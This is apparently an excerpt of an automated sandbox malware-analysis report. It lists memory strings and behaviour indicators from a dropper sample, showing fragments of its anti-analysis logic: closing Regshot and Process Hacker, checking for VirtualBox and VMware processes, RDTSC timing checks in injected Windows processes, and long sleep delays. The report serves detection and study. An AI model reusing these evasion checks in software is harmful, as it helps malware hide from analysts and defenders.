              Source: gbkusncub.ppt.exe, 0000001B.00000003.2642844788.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2641609373.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2556793323.0000000001326000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2644815326.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2638950228.0000000001336000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2640144582.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639774431.0000000001341000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")A
              Source: gbkusncub.ppt, 00000008.00000003.2244906893.0000000001265000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2244969283.0000000001276000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2340419529.0000000001286000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.000000000128B000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2347140094.000000000128C000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2642844788.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2641609373.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2556793323.0000000001326000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2644815326.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2638950228.0000000001336000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("REGSHOT.EXE")
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.0000000008BFF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2638847208.000000000136A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2645203571.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639628949.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639815240.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639544652.00000000013D0000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639297412.0000000001372000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXEH
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2638847208.000000000136A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2645203571.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639628949.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639815240.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639544652.00000000013D0000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639297412.0000000001372000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXEE
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2641194472.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2721993087.0000000001807000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722882760.000000000181F000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722344361.0000000001818000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000002.2726504626.0000000001822000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722680452.0000000001819000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2724649256.0000000001820000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2724350123.0000000001820000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2641635810.0000000001804000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722169078.000000000180F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THENR
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.0000000008BFF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("REGSHOT.EXE")
              Source: gbkusncub.ppt, 00000008.00000003.2345725993.0000000001329000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345830257.000000000132E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345174185.0000000001328000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349493008.0000000001335000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXESA
              Source: gbkusncub.ppt, 00000008.00000003.2244969283.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345646815.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2348085668.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349239659.00000000012BB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THENO
              Source: gbkusncub.ppt.exe, 00000015.00000003.2515521908.00000000010A1000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2515470235.0000000001098000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2415999101.0000000001074000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2416083716.0000000001085000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2517165220.00000000010A2000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2512768611.0000000001089000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513083473.0000000001096000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("REGSHOT.EXE")KB
              Source: gbkusncub.ppt.exe, 00000015.00000003.2515521908.00000000010A1000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2515470235.0000000001098000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2415999101.0000000001074000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2416083716.0000000001085000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2517165220.00000000010A2000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2512768611.0000000001089000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513083473.0000000001096000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")
              Source: gbkusncub.ppt, 00000008.00000003.2244906893.0000000001265000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2244969283.0000000001276000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345576075.0000000001294000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2340419529.0000000001286000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2346822130.0000000001295000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.000000000128B000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2347492039.0000000001295000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349156021.0000000001295000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")K
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2642844788.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2641609373.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2556793323.0000000001326000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2644815326.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2638950228.0000000001336000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2640144582.0000000001342000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639774431.0000000001341000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IF PROCESSEXISTS("REGSHOT.EXE") THEN
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2641194472.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2721993087.0000000001807000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722882760.000000000181F000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722344361.0000000001818000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000002.2726504626.0000000001822000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722680452.0000000001819000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2724649256.0000000001820000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2724350123.0000000001820000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2641635810.0000000001804000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722169078.000000000180F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")DV
              Source: gbkusncub.ppt.exe, 00000015.00000003.2513695730.00000000010CA000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2515904263.000000000113A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2514308808.000000000113A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2517458245.0000000001142000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2512768611.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2513840264.0000000001136000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2638847208.000000000136A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2645203571.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639628949.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639815240.00000000013DC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXES
              Source: gbkusncub.ppt, 00000008.00000003.2345725993.0000000001329000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345830257.000000000132E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345174185.0000000001328000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2349493008.0000000001335000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2725282707.00000000018B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722790963.00000000018B6000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2721993087.0000000001849000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722541838.000000000184B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGSHOT.EXE
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.0000000008BFF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSCLOSE("PROCESSHACKER.EXE")
              Tries to detect virtualization through RDTSC time measurements
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeRDTSC instruction interceptor: First address: 409B7E second address: 409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\raserver.exeRDTSC instruction interceptor: First address: 27D9904 second address: 27D990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\raserver.exeRDTSC instruction interceptor: First address: 27D9B7E second address: 27D9B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\chkdsk.exeRDTSC instruction interceptor: First address: 48C9904 second address: 48C990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\NETSTAT.EXERDTSC instruction interceptor: First address: 1D9904 second address: 1D990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\chkdsk.exeRDTSC instruction interceptor: First address: 48C9B7E second address: 48C9B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\NETSTAT.EXERDTSC instruction interceptor: First address: 1D9B7E second address: 1D9B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\cmmon32.exeRDTSC instruction interceptor: First address: 30B9904 second address: 30B990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\cmmon32.exeRDTSC instruction interceptor: First address: 30B9B7E second address: 30B9B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\NETSTAT.EXERDTSC instruction interceptor: First address: 819904 second address: 81990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Windows\SysWOW64\NETSTAT.EXERDTSC instruction interceptor: First address: 819B7E second address: 819B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_0139B180 rdtsc 8_3_0139B180
              Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
              Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 3611Jump to behavior
              Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 6329Jump to behavior
              Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 654Jump to behavior
              Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 650Jump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeWindow / User API: threadDelayed 5196Jump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeWindow / User API: threadDelayed 4773Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeAPI coverage: 1.7 %
              Source: C:\Windows\explorer.exe TID: 2936Thread sleep time: -7222000s >= -30000sJump to behavior
              Source: C:\Windows\explorer.exe TID: 2936Thread sleep time: -12658000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exe TID: 5076Thread sleep count: 5196 > 30Jump to behavior
              Source: C:\Windows\SysWOW64\raserver.exe TID: 5076Thread sleep time: -10392000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exe TID: 5076Thread sleep count: 4773 > 30Jump to behavior
              Source: C:\Windows\SysWOW64\raserver.exe TID: 5076Thread sleep time: -9546000s >= -30000sJump to behavior
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\SysWOW64\raserver.exeLast function: Thread delayed
              Source: C:\Windows\SysWOW64\raserver.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D9F826 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00D9F826
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB1630 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,0_2_00DB1630
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DC1FF8 FindFirstFileExA,0_2_00DC1FF8
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0077E387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,8_2_0077E387
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0077D836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0077D836
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0077DB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0077DB69
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_00789F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_00789F9F
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0078A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_0078A0FA
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB4E14 VirtualQuery,GetSystemInfo,0_2_00DB4E14
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2641927200.000000000132F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VboxService.exe") Then
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2639297412.0000000001372000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareUser.exe
              Source: explorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2724805377.00000000017F3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VBoxTray.exe") ThenKX
              Source: gbkusncub.ppt.exe, 00000015.00000003.2512768611.0000000001089000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then1a0
              Source: explorer.exe, 00000011.00000000.2331902622.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2724158402.0000000001802000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareUser.exe5FB536C7
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2724158402.0000000001802000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareService.exe
              Source: hcmdvu.msc.0.drBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
              Source: explorer.exe, 00000011.00000002.4573390953.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
              Source: explorer.exe, 00000011.00000002.4582512760.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000978C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
              Source: gbkusncub.ppt.exe, 00000015.00000003.2416083716.0000000001085000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then1a0]ZQvu
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2642766484.0000000001313000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VBoxTray.exe") Then32[<<
              Source: gbkusncub.ppt.exe, 00000015.00000003.2513695730.00000000010CA000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2512768611.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2514218020.00000000010D2000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2515023919.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2514985214.00000000010DD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VBoxTray.exew
              Source: gbkusncub.ppt, 00000008.00000003.2340623811.000000000127C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VboxService.exe") ThenEa=.
              Source: gbkusncub.ppt.exe, 00000015.00000003.2515734757.0000000001073000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VBoxTray.exe") ThenY
              Source: hcmdvu.msc.0.drBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
              Source: explorer.exe, 00000011.00000000.2331902622.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2641635810.0000000001804000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Thenly
              Source: gbkusncub.ppt, 00000008.00000003.2345402153.00000000012C0000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2341778910.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2346790828.00000000012D2000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2345501324.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344634186.00000000012BD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VBoxTray.exe#
              Source: explorer.exe, 00000011.00000002.4583168633.00000000097F3000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
              Source: explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWws
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2641635810.0000000001804000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
              Source: gbkusncub.ppt, 00000008.00000003.2340623811.000000000127C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThenT
              Source: gbkusncub.ppt.exe, 00000015.00000003.2514985214.00000000010DD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareService.execrosoU
              Source: hcmdvu.msc.0.drBinary or memory string: If ProcessExists("VboxService.exe") Then
              Source: gbkusncub.ppt, 00000008.00000003.2244906893.0000000001265000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2244969283.0000000001276000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2344549868.0000000001279000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VBoxTray.exe") ThenC6
              Source: explorer.exe, 00000011.00000002.4582512760.0000000009605000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTVMWare
              Source: explorer.exe, 00000011.00000003.2980721779.000000000C475000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: d$me#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94
              Source: explorer.exe, 00000011.00000002.4573390953.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
              Source: gbkusncub.ppt.exe, 00000015.00000003.2512768611.0000000001089000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThendC
              Source: gbkusncub.ppt.exe, 0000001B.00000003.2638847208.000000000136A000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2641187853.000000000137C000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001B.00000003.2639297412.0000000001372000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2721993087.0000000001849000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2724015284.000000000185F000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2722541838.000000000184B000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 0000001F.00000003.2723079301.0000000001853000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VBoxTray.exe
              Source: gbkusncub.ppt.exe, 00000015.00000003.2416083716.0000000001085000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThendCH[Yjr
              Source: gbkusncub.ppt.exe, 0000001F.00000003.2722654495.000000000180A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rocessExists("VboxService.exe") Then1X1
